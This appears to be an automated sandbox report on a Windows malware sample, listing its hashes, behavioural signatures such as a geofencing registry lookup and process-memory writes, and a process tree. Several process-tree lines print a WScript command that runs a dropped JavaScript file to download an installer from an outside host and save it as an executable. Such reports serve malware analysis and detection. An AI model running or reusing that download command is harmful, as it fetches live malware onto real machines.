Analysis
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max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
12-05-2024 11:48
Static task
static1
Behavioral task
behavioral1
Sample
39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe
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Size
184KB
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MD5
39f2f25f80cd5c16bd609c6ebcf3e421
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SHA1
199bf97a4e590198c7705c4aaddb36d0a3f4760e
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SHA256
9e60d1165b956d340901ddb9d4a91a77cf7044a1274b74b591a209a5a8a17e3f
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SHA512
e2a39f1d6be82d097910231d403d8b826da0f377238c2f77596321096eed53cf56e62a925e7aff7b31f629ab95ed366f410634df96dfc627b33e1275d8c81ac8
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3w:/7BSH8zUB+nGESaaRvoB7FJNndnZ
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
flow pid Process 3 1060 WScript.exe 25 1248 WScript.exe 28 968 WScript.exe 43 3752 WScript.exe 46 2168 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 560 wrote to memory of 1060 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 82 PID 560 wrote to memory of 1060 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 82 PID 560 wrote to memory of 1060 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 82 PID 560 wrote to memory of 1248 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 89 PID 560 wrote to memory of 1248 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 89 PID 560 wrote to memory of 1248 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 89 PID 560 wrote to memory of 968 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 90 PID 560 wrote to memory of 968 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 90 PID 560 wrote to memory of 968 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 90 PID 560 wrote to memory of 3752 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 94 PID 560 wrote to memory of 3752 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 94 PID 560 wrote to memory of 3752 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 94 PID 560 wrote to memory of 2168 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 95 PID 560 wrote to memory of 2168 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 95 PID 560 wrote to memory of 2168 560 39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe 95
Processes
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C:\Users\Admin\AppData\Local\Temp\39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\39f2f25f80cd5c16bd609c6ebcf3e421_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:560 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FE7.js" http://www.djapp.info/?domain=VJaACwnElg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FE7.exe2⤵
- Blocklisted process makes network request
PID:1060
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FE7.js" http://www.djapp.info/?domain=VJaACwnElg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FE7.exe2⤵
- Blocklisted process makes network request
PID:1248
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FE7.js" http://www.djapp.info/?domain=VJaACwnElg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FE7.exe2⤵
- Blocklisted process makes network request
PID:968
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FE7.js" http://www.djapp.info/?domain=VJaACwnElg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FE7.exe2⤵
- Blocklisted process makes network request
PID:3752
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3FE7.js" http://www.djapp.info/?domain=VJaACwnElg.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3FE7.exe2⤵
- Blocklisted process makes network request
PID:2168
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76